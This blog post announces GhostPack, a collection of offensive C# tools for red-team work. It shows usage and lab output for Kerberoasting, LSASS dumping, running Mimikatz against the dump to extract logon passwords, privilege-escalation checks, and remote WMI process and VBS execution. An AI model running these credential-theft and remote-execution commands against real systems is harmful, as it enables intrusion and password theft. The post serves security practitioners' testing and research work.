Anyone who has followed myself or my teammates at SpecterOps for a while knows that we’re fairly big fans of PowerShell. I’ve been involved in offensive PowerShell for about 4 years, @mattifestation was the founder of PowerSploit and various defensive projects, @jaredcatkinson has been writing defensive PowerShell for years, and many of my teammates (@tifkin_, @enigma0x3, rvrsh3ll, @xorrior, @andrewchiles, and others) have written various security-related PowerShell projects over the past several years, totaling thousands of lines of code.
By now, the reason for choosing PowerShell should be fairly self-evident; the language is Turing-complete, built into modern Windows operating systems, and you can do anything with it. Our familiarity with PowerShell and its ubiquity on modern platforms led it to become our language of choice for proof of concepts and rapid prototyping, as well as more fleshed out projects like PowerShell Empire.
Then, with the awesome work from the PowerShell team with PowerShell Version 5, everything changed (sort of.) The canonical “PowerShell ♥ the Blue Team” post from June of 2015 (ironically published one month before Empire was released : ) details all the amazing new security protections integrated into the PowerShell engine, from better transcription, to deep script block logging, AMSI, and more. I had a slight offensive existential crisis when their post dropped, as I felt that a death blow had just been dealt to offensive PowerShell.
But guess what? Three years on and we still use PowerShell for many engagements, and the (offensive) sky has not fallen. For nearly every defensive step forward, the offensive community tends to respond in kind. I detailed a bit of this back-and-forth history with security-oriented PowerShell in my “Catch Me If You Can: PowerShell Red vs Blue” presentation last year at PSConfEU, and @mattifestation details some in depth bypasses for PowerShell-related security controls in our Adversary Tactics: PowerShell course offering.
After three years, here are my main two observations on why we’ve been able to continue to use PowerShell code offensively:
We’re big advocates of what Raphael Mudge termed “offense-in-depth“. In short, we like to have options in case a single tool or offensive technique fails in a particular environment. We’ve said for a few years (along with many others) that pivoting to offensive C# makes the most sense when coming from a PowerShell background. While you lose the amazing PowerShell pipeline and the ability to invoke one-liner stubs that load up all code in memory, you retain all access to existing .NET libraries, gain additional weaponization vectors (think @subtee‘s various app-whitelisting bypass vectors), have a number of additional obfuscation options, and avoid all PowerShell security protections. While there is a bit more overhead in learning to build a C# project instead of a simple PowerShell script, we truly do believe that PowerShell is a great “gateway drug” to C#.
So with that bit over with, I’d like to introduce some of what we’ve been working on over the past few months.
GhostPack is (currently) a collection various C# implementations of previous PowerShell functionality, and includes six separate toolsets being released today- Seatbelt, SharpUp, SharpRoast, SharpDump, SafetyKatz, and SharpWMI. All of these projects will be hosted on the GhostPack GitHub organization, with each project broken out as a separate repository.
Quick sidenote: GhostPack is not intended to be only C# code, nor is it purely offensive, though the projects released today are all C#. The plan is to have the organization house a number of security-related projects that are not PowerShell. Additionally, to keep defenders from building brittle signatures (think flagging various author’s Twitter handles : ) we’re not currently planning to distribute binaries for any of the projects. However, everything is Visual Studio Community 2015 compatible, so it’s a snap to build yourself.
Full disclosure: that’s almost nothing “new” here, just different implementations of the same techniques many have been using for years. Also, all code here should be considered beta- it’s had some testing but there are still plenty of bugs to be had :)
Seatbelt is by far the meatiest project being released. It’s a clearinghouse of situational awareness “safety checks”. That is, it manages the collection of host data that may be interesting from both offensive and defensive perspectives. Think everything from PowerShell security settings, to current user Kerberos tickets, to deleted Recycle Bin items, and more (40+ current checks!)
Seatbelt draws on a TON of existing work, highlighted in the README.md, and has already proven itself to be pretty useful on our engagements. It was heavily influenced by @tifkin_‘s Get-HostProfile.ps1 and @andrewchiles‘ HostEnum.ps1 PowerShell scripts.
SeatBelt.exe system collects the following system data:
If the user is in high integrity the following additional actions are run:
SeatBelt.exe user collects the following user data:
If the user is in high integrity, these checks are run for ALL users instead of just the current user.
Miscellaneous checks:
SeatBelt.exe all will run ALL enumeration checks, can be combined with full.
SeatBelt.exe [CheckName] [CheckName2] … will run one or more specified checks only (case-sensitive naming!)
SeatBelt.exe [system/user/all/CheckName] full will prevent any filtering and will return complete results. By default, certain checks are filtered (e.g. services NOT in C:\Windows\, etc.)
Here’s an example of some of the system collection:
There are a TON of checks and interesting information to gather- I definitely recommend you play around with it to see what works for you!
SharpUp is the start of a C# port of PowerUp‘s privilege escalation checks. Currently, only the most common checks have been ported; no weaponization functions have yet been implemented. The currently implemented checks are:
Here’s an example of its output:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 |
C:\Temp>SharpUp.exe === SharpUp: Running Privilege Escalation Checks === === Modifiable Services === Name : VulnSvc DisplayName : VulnSvc Description : State : Stopped StartMode : Auto PathName : C:\Program Files\VulnSvc\VulnSvc.exe === Modifiable Service Binaries === Name : VulnSvc2 DisplayName : VulnSvc22 Description : State : Stopped StartMode : Auto PathName : C:\VulnSvc2\VulnSvc2.exe === AlwaysInstallElevated Registry Keys === === Modifiable Folders in %PATH% === Modifable %PATH% Folder : C:\Go\bin === Modifiable Registry Autoruns === === *Special* User Privileges === === Unattended Install Files === === McAfee Sitelist.xml Files === [*] Completed Privesc Checks in 18 seconds |
SharpRoast is a C# port of various PowerView’s Kerberoasting functionality. The KerberosRequestorSecurityToken.GetRequest Method() method used was contributed to PowerView by @machosec. The hashes are output in hashcat format.
For more information on Kerberoasting, including links to Tim Medin’s original talk on the subject, check out my “Kerberoasting Without Mimikatz” post from November, 2016.
To roast all users in the current domain:
C:\Temp>SharpRoast.exe all SamAccountName : harmj0y DistinguishedName : CN=harmj0y,CN=Users,DC=testlab,DC=local ServicePrincipalName : asdf/asdfasdf Hash : $krb5tgs$23$*$testlab.local$asdf/asdfasdf*$14AA4F... SamAccountName : sqlservice DistinguishedName : CN=SQL,CN=Users,DC=testlab,DC=local ServicePrincipalName : MSSQLSvc/SQL.testlab.local Hash : $krb5tgs$23$*$testlab.local$MSSQLSvc/SQL.testlab.local*$9994D1... ... |
To roast a specific SPN in the current domain:
C:\Temp>SharpRoast.exe "asdf/asdfasdf" Hash : $krb5tgs$23$*$testlab.local$asdf/asdfasdf*$14AA4F... |
To roast a specific user in the current domain:
C:\Temp>SharpRoast.exe harmj0y SamAccountName : harmj0y DistinguishedName : CN=harmj0y,CN=Users,DC=testlab,DC=local ServicePrincipalName : asdf/asdfasdf Hash : $krb5tgs$23$*$testlab.local$asdf/asdfasdf*$14AA4F... |
To roast users from a specified OU in the current domain:
C:\Temp>SharpRoast.exe "OU=TestingOU,DC=testlab,DC=local" SamAccountName : testuser2 DistinguishedName : CN=testuser2,OU=TestingOU,DC=testlab,DC=local ServicePrincipalName : service/host Hash : $krb5tgs$23$*$testlab.local$service/host*$08A6462... |
To roast a specific specific SPN in another (trusted) domain:
C:\Temp\>SharpRoast.exe "MSSQLSvc/[email protected]" Hash : $krb5tgs$23$*user$DOMAIN$MSSQLSvc/SQL@dev.testlab.local*$9994D148... |
To roast all users in another (trusted) domain:
C:\Temp>SharpRoast.exe "LDAP://DC=dev,DC=testlab,DC=local" SamAccountName : jason DistinguishedName : CN=jason,CN=Users,DC=dev,DC=testlab,DC=local ServicePrincipalName : test/test Hash : $krb5tgs$23$*$dev.testlab.local$test/test*$9129566 ... |
Any of these commands also accept a [domain.com\user] [password] for to roast with explicit credentials. For example:
C:\Temp>SharpRoast.exe harmj0y "testlab.local\dfm" "Password123!" SamAccountName : harmj0y DistinguishedName : CN=harmj0y,CN=Users,DC=testlab,DC=local ServicePrincipalName : asdf/asdfasdf Hash : $krb5tgs$23$*$testlab.local$asdf/asdfasdf*$14AA4F... |
This can be useful if you’re encountering a double-hop type of situation.
SharpDump is a essentially C# port of various PowerSploit’s Out-Minidump.ps1 functionality. The MiniDumpWriteDump Win32 API call is used to create a mini-dump for the process ID specified (LSASS by default) to C:\Windows\Temp\debug<PID>.out, GZipStream is used to compress the dump to C:\Windows\Temp\debug<PID>.bin (.gz format), and the original minidump file is deleted.
To dump LSASS (the default):
C:\Temp>SharpDump.exe [*] Dumping lsass (808) to C:\WINDOWS\Temp\debug808.out [+] Dump successful! [*] Compressing C:\WINDOWS\Temp\debug808.out to C:\WINDOWS\Temp\debug808.bin gzip file [*] Deleting C:\WINDOWS\Temp\debug808.out [+] Dumping completed. Rename file to "debug808.gz" to decompress. [*] Operating System : Windows 10 Enterprise N [*] Architecture : AMD64 [*] Use "sekurlsa::minidump debug.out" "sekurlsa::logonPasswords full" on the same OS/arch |
To dump a specific process ID:
C:\Temp>SharpDump.exe 8700 [*] Dumping notepad++ (8700) to C:\WINDOWS\Temp\debug8700.out [+] Dump successful! [*] Compressing C:\WINDOWS\Temp\debug8700.out to C:\WINDOWS\Temp\debug8700.bin gzip file [*] Deleting C:\WINDOWS\Temp\debug8700.out [+] Dumping completed. Rename file to "debug8700.gz" to decompress. |
If dumping LSASS, this compressed minidump can then be downloaded, renamed to dump<PID>.gz, extracted, and run through Mimikatz’ sekurlsa::minidump functionality on a similar platform:
SafetyKatz is a combination of SharpDump, @gentilkiwi‘s Mimikatz project, and @subtee‘s .NET PE loader.
First, the MiniDumpWriteDump Win32 API call is used to create a mini-dump of LSASS to C:\Windows\Temp\debug.bin. Then @subtee’s PELoader is used to load a customized version of Mimikatz that runs sekurlsa::logonpasswords and sekurlsa::ekeys on the minidump file, removing the file after execution is complete. This allows you to extract passwords from a system without having to transport the multi-megabyte minidump file, but prevents the Mimikatz’ specific OpenProcess attach to LSASS.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 |
C:\Temp>SafetyKatz.exe [*] Dumping lsass (808) to C:\WINDOWS\Temp\debug.bin [+] Dump successful! [*] Executing loaded Mimikatz PE .#####. mimikatz 2.1.1 (x64) built on Jul 7 2018 03:36:26 - lil! .## ^ ##. "A La Vie, A L'Amour" - (oe.eo) ## / \ ## / *** Benjamin DELPY `gentilkiwi` ( [email protected] ) ## \ / ## > http://blog.gentilkiwi.com/mimikatz '## v ##' Vincent LE TOUX ( vincent.letoux@gmail.com ) '#####' > http://pingcastle.com / http://mysmartlogon.com *** / mimikatz # Opening : 'C:\Windows\Temp\debug.bin' file for minidump... Authentication Id : 0 ; 28935082 (00000000:01b983aa) Session : Interactive from 0 User Name : blahuser Domain : WINDOWS10 Logon Server : WINDOWS10 Logon Time : 7/15/2018 1:07:55 PM SID : S-1-5-21-1473254003-2681465353-4059813368-1002 msv : [00000003] Primary * Username : blahuser * Domain : WINDOWS10 ...(snip)... mimikatz # deleting C:\Windows\Temp\debug.bin |
The last small tool (SharpWMI) is a simple C# wrapper for various WMI functionality. It allows for generic remote (or local) WMI querying, remote process execution through Win32_Process, and remote VBS execution through “temporarily” permanent WMI event subscriptions.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 |
Local system enumeration : SharpWMI.exe action=query query="select * from win32_service" [namespace=BLAH] Ex: SharpWMI.exe action=query query="select * from win32_process" Ex: SharpWMI.exe action=query query="SELECT * FROM AntiVirusProduct" namespace="root\SecurityCenter2" Remote system enumeration : SharpWMI.exe action=query computername=HOST1[,HOST2,...] query="select * from win32_service" [namespace=BLAH] Ex: SharpWMI.exe action=query computername=primary.testlab.local query="select * from win32_service" Ex: SharpWMI.exe action=query computername=primary,secondary query="select * from win32_process Remote process creation : SharpWMI.exe action=create computername=HOST[,HOST2,...] command="C:\temp\process.exe [args]" Ex: SharpWMI.exe action=create computername=primary.testlab.local command="powershell.exe -enc ZQBj..." Remote VBS execution : SharpWMI.exe action=executevbs computername=HOST[,HOST2,...] Ex: SharpWMI.exe action=executevbs computername=primary.testlab.local |
Nothing revolutionary here, but the WMI event subscription approach has served us well. A timer-based event subscription is created on the remote system with arbitrary VBS as the ActiveScriptEventConsumer payload. The event triggers, your VBS is executed, and everything is cleaned up:
C:\Temp>SharpWMI.exe action=executevbs computername=primary.testlab.local [*] Creating 'Timer' object on primary.testlab.local [*] Setting 'Debug' event filter on primary.testlab.local [*] Setting 'Debug' event consumer on primary.testlab.local [*] Binding 'Debug' event filter and consumer on primary.testlab.local [*] Waiting 45 seconds for event to trigger on primary.testlab.local ... [*] Removing 'Timer' internal timer from primary.testlab.local [*] Removing FilterToConsumerBindingr from primary.testlab.local [*] Removing 'Debug' event filter from primary.testlab.local [*] Removing 'Debug' event consumer from primary.testlab.local |
The filter/consumer name can be modified with the eventname=BLAH argument. If you want to change the VBS executed, modify the vbsPayload string at the top of the project before compiling. DotNetToJScript works great here ;)
We hope that others find this code helpful, and we encourage any on the fence about C# development to take the plunge! I was a bit apprehensive about starting the C# development for this codebase, but after the first few days I realized how easy it was to transition from PowerShell. Also, I want to reiterate that security-oriented PowerShell is not “dead” from our perspective- we will still continue to use it, but again we like to have diversity in our toolsets.
We have a few more tools and modifications that will be pushed out over the next few months, so expect the repositories to stay active. A follow-up post in the next few weeks will cover a few C# weaponization specifics, but until then, have fun!
Also published on Medium.